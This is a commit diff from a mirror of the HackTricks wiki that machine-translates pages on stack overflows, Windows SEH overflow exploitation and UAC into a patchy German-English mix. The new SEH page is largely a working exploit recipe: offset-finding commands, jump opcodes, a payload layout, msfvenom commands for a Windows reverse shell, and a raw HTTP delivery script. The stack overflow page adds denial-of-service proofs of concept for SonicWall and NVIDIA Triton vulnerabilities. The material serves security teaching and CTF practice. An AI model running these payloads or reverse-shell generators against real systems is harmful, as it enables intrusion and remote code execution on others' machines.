maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/stack-overflow/windows-seh-overflow

Browse Source
This commit is contained in:
Translator 2025-08-28 20:21:40 +00:00
parent cfcd37cb35
commit b20b750d9b
4 changed files with 321 additions and 122 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -779,6 +779,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

98
src/binary-exploitation/stack-overflow/README.md
View File

@ -4,15 +4,15 @@
## Was ist ein Stack Overflow
Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrolle für Eingaben durchführen.
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **benachbarten Speicherbereich überschreiben**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
The main problem of this overwrite is that the **gespeicherter Befehlszeiger (EIP/RIP)** and the **gespeicherter Basiszeiger (EBP/RBP)** to return to the previous function are **auf dem Stack gespeichert**. Therefore, an attacker will be able to overwrite those and **den Ausführungsfluss des Programms kontrollieren**.
Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
The vulnerability usually arises because a function **mehr Bytes in den Stack kopiert, als dafür zugewiesen wurden**, therefore being able to overwrite other parts of the stack.
Einige gängige Funktionen, die anfällig dafür sind, sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read` & `memcpy`**, die ein **Längenargument** annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **Längenargument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
Zum Beispiel könnten die folgenden Funktionen anfällig sein:
For example, the following functions could be vulnerable:
```c
void vulnerable() {
char buffer[128];
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Finden von Stack Overflow Offsets
### Finden von Stack Overflows Offsets
Die häufigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr große Eingabe aus `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und ein `Segmentation Fault` zu erwarten, der darauf hinweist, dass **versucht wurde, auf die Adresse `0x41414141` zuzugreifen**.
Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint.
Außerdem, sobald du festgestellt hast, dass eine Stack Overflow vulnerability existiert, musst du den Offset finden, bis zu dem es möglich ist, die **return address zu überschreiben**. Dafür wird üblicherweise eine **De Bruijn sequence** verwendet. Für ein Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ ist das eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz vorkommt.
Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
Auf diese Weise, anstatt manuell den Offset zu ermitteln, der benötigt wird, um die EIP zu kontrollieren, kannst du eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes finden, die es letztlich überschrieben haben.
Es ist möglich, **pwntools** dafür zu verwenden:
Es ist möglich, dafür **pwntools** zu verwenden:
```python
from pwn import *
@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Ausnutzen von Stack-Überläufen
## Exploiting Stack Overflows
Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) werden Sie in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis Sie das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichen.\
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
Während eines overflows (vorausgesetzt die Größe des overflows ist groß genug) wirst du in der Lage sein, Werte lokaler Variablen auf dem Stack **overwrite** bis zum gespeicherten **EBP/RBP and EIP/RIP (or even more)** zu überschreiben.\
Die gebräuchlichste Methode, diesen Typ von Schwachstelle zu missbrauchen, ist das **modifying the return address**, sodass beim Ende der Funktion der **control flow will be redirected wherever the user specified** in diesem Pointer.
In anderen Szenarien könnte es jedoch ausreichen, **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
Allerdings kann in anderen Szenarien schon das **overwriting some variables values in the stack** ausreichen, um eine exploitation durchzuführen (z.B. in einfachen CTF challenges).
### Ret2win
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (in der Regel wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
In dieser Art von CTF challenges gibt es eine **function** **inside** der binary, die **never called** wird und die **you need to call in order to win**. Für diese Challenges musst du nur den **offset to overwrite the return address** finden und die **find the address of the function** zum Aufrufen bestimmen (gewöhnlich ist [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass beim Rückkehr der vulnerable function die versteckte Funktion aufgerufen wird:
{{#ref}}
@ -66,69 +66,78 @@ ret2win/
### Stack Shellcode
In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
In diesem Szenario kann der attacker einen shellcode auf dem stack platzieren und den kontrollierten EIP/RIP missbrauchen, um zum shellcode zu springen und execute arbitrary code auszuführen:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... Techniken
### Windows SEH-based exploitation (nSEH/SEH)
Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm ausgenutzt werden:
Auf 32-bit Windows kann ein overflow die Structured Exception Handler (SEH) chain überschreiben statt der gespeicherten return address. Bei exploitation wird typischerweise der SEH pointer durch einen POP POP RET gadget ersetzt und das 4-byte nSEH Feld für einen short jump verwendet, um zurück in den großen buffer zu pivoten, in dem der shellcode liegt. Ein übliches Muster ist ein short jmp in nSEH, das auf einen 5-byte near jmp landet, der direkt vor nSEH platziert ist, um Hunderte von Bytes zurück zum payload-Start zu springen.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Technik zu umgehen: **No executable stack (NX)**. Außerdem ermöglicht sie das Ausführen mehrerer anderer Techniken (ret2lib, ret2syscall...), die schließlich durch das Missbrauchen vorhandener Instruktionen in der binary arbitrary commands ausführen:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap-Überläufe
## Heap Overflows
Ein Überlauf muss nicht immer im Stack stattfinden, er könnte auch im **Heap** stattfinden, zum Beispiel:
Ein overflow befindet sich nicht immer auf dem stack; er kann zum Beispiel auch im **heap** auftreten:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Arten von Schutzmaßnahmen
## Types of protections
Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern, überprüfen Sie diese in:
Es gibt mehrere protections, die versuchen, die exploitation von vulnerabilities zu verhindern — siehe:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Beispiel aus der Praxis: CVE-2025-40596 (SonicWall SMA100)
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Eine gute Demonstration, warum **`sscanf` niemals für das Parsen von nicht vertrauenswürdigen Eingaben vertraut werden sollte**, erschien 2025 im SSL-VPN-Gerät SMA100 von SonicWall. Die verwundbare Routine innerhalb von `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den Endpunkt aus jeder URI zu extrahieren, die mit `/__api__/` beginnt:
Ein gutes Beispiel dafür, warum **`sscanf` should never be trusted for parsing untrusted input** ist, trat 2025 in SonicWall’s SMA100 SSL-VPN appliance auf. Die verwundbare Routine in `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den endpoint aus jeder URI zu extrahieren, die mit `/__api__/` beginnt:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Die erste Umwandlung (`%2s`) speichert sicher **zwei** Bytes in `version` (z.B. `"v1"`).
2. Die zweite Umwandlung (`%s`) **hat keinen Längenbezeichner**, daher wird `sscanf` **bis zum ersten NUL-Byte** weiter kopieren.
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zu einer Beschädigung von allem, was sich nach dem Puffer befindet ‑ einschließlich des **Stack-Canyons** und der **gespeicherten Rücksprungadresse**.
1. Die erste Formatangabe (`%2s`) speichert sicher **zwei** Bytes in `version` (z. B. `"v1"`).
2. Die zweite Formatangabe (`%s`) **hat keinen Längenbegrenzer**, daher wird `sscanf` weiter kopieren **bis zum ersten NUL byte**.
3. Da `endpoint` auf dem **stack** liegt und **0x800 bytes long** ist, führt das Bereitstellen eines Pfads, der länger als 0x800 bytes ist, zur Korruption aller Daten, die nach dem Buffer liegen ‑ einschließlich des **stack canary** und der **saved return address**.
Ein einzeiliger Proof-of-Concept reicht aus, um den Absturz **vor der Authentifizierung** auszulösen:
Eine einzeilige Proof-of-Concept ist ausreichend, um den Crash **vor der Authentifizierung** auszulösen:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein **Denial-of-Service**-Primitive (und mit zusätzlichen Informationslecks möglicherweise auch Codeausführung). Die Lektion ist einfach:
Auch wenn stack canaries den Prozess abbrechen, erlangt ein Angreifer trotzdem ein **Denial-of-Service**-Primitive (und bei zusätzlichen information leaks möglicherweise code-execution). Die Lektion ist einfach:
* Immer eine **maximale Feldbreite** angeben (z.B. `%511s`).
* Geben Sie immer eine **maximale Feldbreite** an (z. B. `%511s`).
* Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`.
### Real-World-Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### Reales Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Der NVIDIA Triton Inference Server (≤ v25.06) wies mehrere **stack-basierte Überläufe** auf, die über seine HTTP-API erreichbar waren.
Das anfällige Muster trat wiederholt in `http_server.cc` und `sagemaker_server.cc` auf:
NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere **stack-based overflows**, die über seine HTTP API erreichbar waren.
Das verwundbare Muster erschien wiederholt in `http_server.cc` und `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -138,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Puffersegmente** zurück, die den aktuellen HTTP-Anforderungstext bilden.
2. Jedes Segment verursacht, dass ein **16-Byte** `evbuffer_iovec` auf dem **Stack** über `alloca()` zugewiesen wird – **ohne obere Grenze**.
3. Durch den Missbrauch von **HTTP _chunked transfer-encoding_** kann ein Client die Anforderung zwingen, in **Hunderte von Tausenden von 6-Byte-Chunks** (`"1\r\nA\r\n"`) aufgeteilt zu werden. Dies lässt `n` unbeschränkt wachsen, bis der Stack erschöpft ist.
1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Buffer-Segmente** zurück, die den aktuellen HTTP-Request-Body bilden.
2. Jedes Segment führt dazu, dass ein **16-byte** `evbuffer_iovec` via `alloca()` auf dem **stack** alloziert wird – **ohne obere Grenze**.
3. Durch Missbrauch von **HTTP _chunked transfer-encoding_** kann ein Client die Anfrage in **hunderttausende von 6-byte chunks** (`"1\r\nA\r\n"`) aufteilen. Dadurch wächst `n` unbegrenzt, bis der stack erschöpft ist.
#### Proof-of-Concept (DoS)
```python
@ -166,10 +175,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration zu **crashen**.
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den daemon zu **crashen**.
#### Patch & Mitigation
Die Version 25.07 ersetzt die unsichere Stapelzuweisung durch ein **heap-unterstütztes `std::vector`** und behandelt `std::bad_alloc` elegant:
#### Patch & Gegenmaßnahmen
Die Version 25.07 ersetzt die unsichere Stack-Allokation durch einen **heap-gestützten `std::vector`** und behandelt `std::bad_alloc` elegant:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -179,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lessons learned:
* Rufe `alloca()` niemals mit von Angreifern kontrollierten Größen auf.
* Chunked-Anfragen können die Form von serverseitigen Puffern drastisch verändern.
* Validiere / begrenze jeden Wert, der aus Benutzereingaben abgeleitet wird, *bevor* du ihn in Speicherzuweisungen verwendest.
Erkenntnisse:
* Rufe `alloca()` niemals mit attacker-controlled sizes auf.
* Chunked requests können die Form von server-side buffers drastisch verändern.
* Validieren / begrenzen Sie jeden Wert, der aus client input abgeleitet wurde, *bevor* Sie ihn in memory allocations verwenden.
## References
## Referenzen
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}

150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md Normal file
View File

@ -0,0 +1,150 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation ist eine klassische x86 Windows-Technik, die die Structured Exception Handler-Kette ausnutzt, die auf dem Stack gespeichert ist. Wenn ein Stack-Buffer-Overflow die zwei 4-Byte-Felder überschreibt
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
kann ein Angreifer die Ausführung übernehmen, indem er:
1) SEH auf die Adresse eines POP POP RET-Gadgets in einem nicht-geschützten Modul setzt, sodass beim Auslösen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und
2) nSEH verwendet, um die Ausführung umzuleiten (typischerweise ein short jump) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet.
Diese Technik ist spezifisch für 32-bit Prozesse (x86). Auf modernen Systemen sollte man ein Modul ohne SafeSEH und ASLR für das Gadget bevorzugen. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-Strings und HTTP-Parsing.
---
## Finding exact offsets (nSEH / SEH)
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Validiere, indem du Marker an diesen Positionen platzierst (z. B. nSEH=b"BB", SEH=b"CC"). Halte die Gesamtlänge konstant, um den Absturz reproduzierbar zu machen.
---
## Auswahl eines POP POP RET (SEH gadget)
Du brauchst eine POP POP RET-Sequenz, um den SEH-Frame aufzulösen und in deine nSEH-Bytes zurückzukehren. Finde sie in einem Modul ohne SafeSEH und idealerweise ohne ASLR:
- Mona (Immunity/WinDbg): `!mona modules` dann `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` um POP POP RET gadgets und den SafeSEH-Status aufzulisten.
Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. `p32(0x004094D8)`). Bevorzuge Gadgets innerhalb der vulnerable binary, wenn Schutzmechanismen dies erlauben.
---
## Jump-back technique (short + near jmp)
nSEH ist nur 4 Bytes groß, was höchstens einen 2-Byte short jump (`EB xx`) plus padding zulässt. Wenn du Hunderte Bytes zurückspringen musst, um den Anfang deines Buffers zu erreichen, benutze einen 5-Byte near jump, der direkt vor nSEH platziert wird, und kette darauf mit einem short jump aus nSEH.
Mit nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
Layout-Idee für eine 1000-Byte-Payload mit nSEH bei Offset 660:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Ablauf der Ausführung:
- Eine Exception tritt auf; der Dispatcher verwendet das überschreibene SEH.
- POP POP RET führt zur Übergabe der Kontrolle an unser nSEH.
- nSEH führt `jmp short -8` aus, das in den 5-Byte near jump springt.
- Der near jump landet am Anfang unseres Buffers, wo der NOP sled + shellcode liegen.
---
## Bad characters
Erstelle einen vollständigen badchar string und vergleiche den Stack-Speicher nach dem Crash; entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten overflows sind `\x00\x0a\x0d` fast immer ausgeschlossen.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode generation (x86)
Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Abweichungen bei der Landung zu tolerieren.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Wenn man es zur Laufzeit generiert, ist das Hex-Format praktisch, um es in Python einzubetten und zu unhexen:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Ausliefern über HTTP (präzise CRLF + Content-Length)
Wenn der verwundbare Vektor ein HTTP request body ist, erstelle eine rohe request mit exakten CRLFs und Content-Length, sodass der Server den gesamten überlaufenden Body liest.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## Werkzeuge
- x32dbg/x64dbg — um die SEH chain zu beobachten und den crash zu triagieren.
- ERC.Xdbg (x64dbg plugin) — zur Auflistung von SEH gadgets: `ERC --SEH`.
- Mona als Alternative: `!mona modules`, `!mona seh`.
- nasmshell — zum Assemblieren kurzer/near jumps und zum Kopieren roher Opcodes.
- pwntools — zum Erstellen präziser Netzwerk-Payloads.
---
## Hinweise und Einschränkungen
- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploits sind in der Regel nicht realisierbar.
- Bevorzugt Gadgets in Modulen ohne SafeSEH und ASLR; ansonsten ein ungeschütztes, in den Prozess geladenes Modul finden.
- Service watchdogs, die bei einem crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern.
## Referenzen
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}

194
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,121 +1,122 @@
# UAC - Benutzerkontensteuerung
# UAC - User Account Control
{{#include ../../banners/hacktricks-training.md}}
## UAC
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsmeldung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Stufen, und ein Programm mit einer **hohen Stufe** kann Aufgaben ausführen, die **das System potenziell gefährden könnten**. Wenn UAC aktiviert ist, werden Anwendungen und Aufgaben immer **unter dem Sicherheitskontext eines Nicht-Administrator-Kontos** ausgeführt, es sei denn, ein Administrator autorisiert diese Anwendungen/Aufgaben ausdrücklich, um Administratorzugriff auf das System zu erhalten. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, wird jedoch nicht als Sicherheitsgrenze betrachtet.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Level, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die das System **potenziell kompromittieren könnten**. Wenn UAC aktiviert ist, laufen Anwendungen und Tasks immer **im Sicherheitskontext eines Nicht-Administrator-Kontos**, es sei denn, ein Administrator gewährt diesen Anwendungen/Tasks explizit Administratorrechte, damit sie ausgeführt werden können. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, aber nicht als Sicherheitsgrenze gilt.
Für mehr Infos über integrity levels:
Für weitere Informationen zu Integritätsstufen:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
Wenn UAC aktiv ist, erhält ein Administratorkonto 2 Tokens: einen Standardbenutzerschlüssel, um reguläre Aktionen auf regulärem Niveau auszuführen, und einen mit Administratorrechten.
Wenn UAC aktiviert ist, erhält ein Administrator-Benutzer 2 Tokens: ein Standardbenutzer-Token, um reguläre Aktionen auf normalem Level durchzuführen, und eines mit Administrator-Privilegien.
Diese [Seite](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) behandelt, wie UAC im Detail funktioniert und umfasst den Anmeldeprozess, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC spezifisch für ihre Organisation auf lokaler Ebene (unter Verwendung von secpol.msc) funktioniert oder über Gruppenrichtlinienobjekte (GPO) in einer Active Directory-Domänenumgebung konfiguriert und bereitgestellt werden. Die verschiedenen Einstellungen werden im Detail [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) besprochen. Es gibt 10 Gruppenrichtlinieneinstellungen, die für UAC festgelegt werden können. Die folgende Tabelle bietet zusätzliche Details:
Diese [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) beschreibt sehr ausführlich, wie UAC funktioniert, einschließlich des Logon-Prozesses, der Benutzererfahrung und der UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC in ihrer Organisation lokal (mit secpol.msc) funktioniert oder über Group Policy Objects (GPO) in einer Active Directory-Domänenumgebung konfiguriert und verteilt werden. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich erläutert. Es gibt 10 Group Policy-Einstellungen, die für UAC gesetzt werden können. Die folgende Tabelle bietet zusätzliche Details:
| Gruppenrichtlinieneinstellung | Registrierungsschlüssel | Standardeinstellung |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ---------------------------------------------------------- |
| [Benutzerkontensteuerung: Genehmigungsmodus für das integrierte Administratorkonto](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deaktiviert |
| [Benutzerkontensteuerung: UIAccess-Anwendungen erlauben, zur Erhöhung aufzufordern, ohne den sicheren Desktop zu verwenden](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deaktiviert |
| [Benutzerkontensteuerung: Verhalten der Erhöhungsmeldung für Administratoren im Genehmigungsmodus](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Aufforderung zur Zustimmung für Nicht-Windows-Binärdateien |
| [Benutzerkontensteuerung: Verhalten der Erhöhungsmeldung für Standardbenutzer](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Aufforderung zur Eingabe von Anmeldeinformationen auf dem sicheren Desktop |
| [Benutzerkontensteuerung: Anwendung von Installationen erkennen und zur Erhöhung auffordern](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Aktiviert (Standard für Home) Deaktiviert (Standard für Enterprise) |
